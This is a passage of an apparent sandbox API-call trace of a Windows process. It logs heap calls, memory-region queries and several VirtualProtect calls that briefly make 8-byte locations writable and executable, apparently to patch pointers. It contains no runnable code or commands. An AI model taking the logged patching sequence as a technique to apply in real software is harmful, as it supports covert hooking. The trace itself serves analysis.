dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.846] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.846] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.846] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef98c0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef98c0000, AllocationBase=0x7fef98c0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.846] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.846] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.846] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.846] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.846] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.846] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.846] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.846] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.846] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.846] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef98b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef98b0000, AllocationBase=0x7fef98b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.846] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.846] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.846] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.846] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.846] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.846] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.846] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef98a0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef98a0000, AllocationBase=0x7fef98a0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.846] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.846] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.847] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.847] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.847] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.847] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9580000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9580000, AllocationBase=0x7fef9580000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.847] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.847] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.847] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.847] VirtualProtect (in: lpAddress=0x7fef97cb2e8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.848] VirtualProtect (in: lpAddress=0x7fef97cb2e8, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.849] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ebd0 | out: hHeap=0x9770000) returned 1 [0042.849] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef8ad0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef8ad0000, AllocationBase=0x7fef8ad0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x882000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.849] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.849] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ebd0 | out: hHeap=0x9770000) returned 1 [0042.849] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ebd0 | out: hHeap=0x9770000) returned 1 [0042.849] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ebd0 | out: hHeap=0x9770000) returned 1 [0042.849] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ebd0 | out: hHeap=0x9770000) returned 1 [0042.849] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef8a90000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef8a90000, AllocationBase=0x7fef8a90000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.849] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.849] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ebd0 | out: hHeap=0x9770000) returned 1 [0042.850] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ebd0 | out: hHeap=0x9770000) returned 1 [0042.850] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ebd0 | out: hHeap=0x9770000) returned 1 [0042.850] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ebd0 | out: hHeap=0x9770000) returned 1 [0042.850] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef8a10000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef8a10000, AllocationBase=0x7fef8a10000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.850] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.850] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ebd0 | out: hHeap=0x9770000) returned 1 [0042.850] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ebd0 | out: hHeap=0x9770000) returned 1 [0042.850] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ebd0 | out: hHeap=0x9770000) returned 1 [0042.850] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef8a00000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef8a00000, AllocationBase=0x7fef8a00000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.850] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.850] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef89f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef89f0000, AllocationBase=0x7fef89f0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.850] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.851] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef88f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef88f0000, AllocationBase=0x7fef88f0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.851] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.851] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefcea0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefcea0000, AllocationBase=0x7fefcea0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.851] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.851] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef88e0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef88e0000, AllocationBase=0x7fef88e0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.851] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.851] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefc9a0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefc9a0000, AllocationBase=0x7fefc9a0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.851] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.852] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefc6a0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefc6a0000, AllocationBase=0x7fefc6a0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.852] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.852] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd090000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd090000, AllocationBase=0x7fefd090000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.852] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.852] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb2d0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb2d0000, AllocationBase=0x7fefb2d0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.852] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.852] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefcab0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefcab0000, AllocationBase=0x7fefcab0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.852] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.853] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb2f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb2f0000, AllocationBase=0x7fefb2f0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.853] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.853] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb650000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb650000, AllocationBase=0x7fefb650000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.853] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.853] VirtualProtect (in: lpAddress=0x7fefb651198, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x20) returned 1 [0042.863] VirtualProtect (in: lpAddress=0x7fefb651198, dwSize=0x8, flNewProtect=0x20, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.864] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb640000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb640000, AllocationBase=0x7fefb640000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0xffffffff)) returned 0x30 [0042.864] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.864] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb5f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb5f0000, AllocationBase=0x7fefb5f0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0xffffffff)) returned 0x30 [0042.864] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.864] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef84c0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef84c0000, AllocationBase=0x7fef84c0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0xffffffff)) returned 0x30 [0042.864] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.865] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefac80000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefac80000, AllocationBase=0x7fefac80000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.865] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.865] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef83b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef83b0000, AllocationBase=0x7fef83b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.865] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.866] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb020000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb020000, AllocationBase=0x7fefb020000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.866] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.866] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd560000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd560000, AllocationBase=0x7fefd560000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.866] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.866] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef8370000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef8370000, AllocationBase=0x7fef8370000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.866] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.866] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef8360000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef8360000, AllocationBase=0x7fef8360000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.866] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.867] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefc450000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefc450000, AllocationBase=0x7fefc450000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.867] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.867] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefbbb0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefbbb0000, AllocationBase=0x7fefbbb0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.867] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.867] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefbb90000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefbb90000, AllocationBase=0x7fefbb90000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.867] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.867] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef80b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef80b0000, AllocationBase=0x7fef80b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.867] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.868] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb590000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb590000, AllocationBase=0x7fefb590000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.868] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.869] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef8030000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef8030000, AllocationBase=0x7fef8030000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.869] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.869] VirtualProtect (in: lpAddress=0x7fef808e240, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.870] VirtualProtect (in: lpAddress=0x7fef808e240, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.871] VirtualProtect (in: lpAddress=0x7fef80a1060, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x4) returned 1 [0042.872] VirtualProtect (in: lpAddress=0x7fef80a1060, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.873] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef8020000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef8020000, AllocationBase=0x7fef8020000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.873] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.873] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb2b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb2b0000, AllocationBase=0x7fefb2b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.873] NtQueryInformationProcess (in: 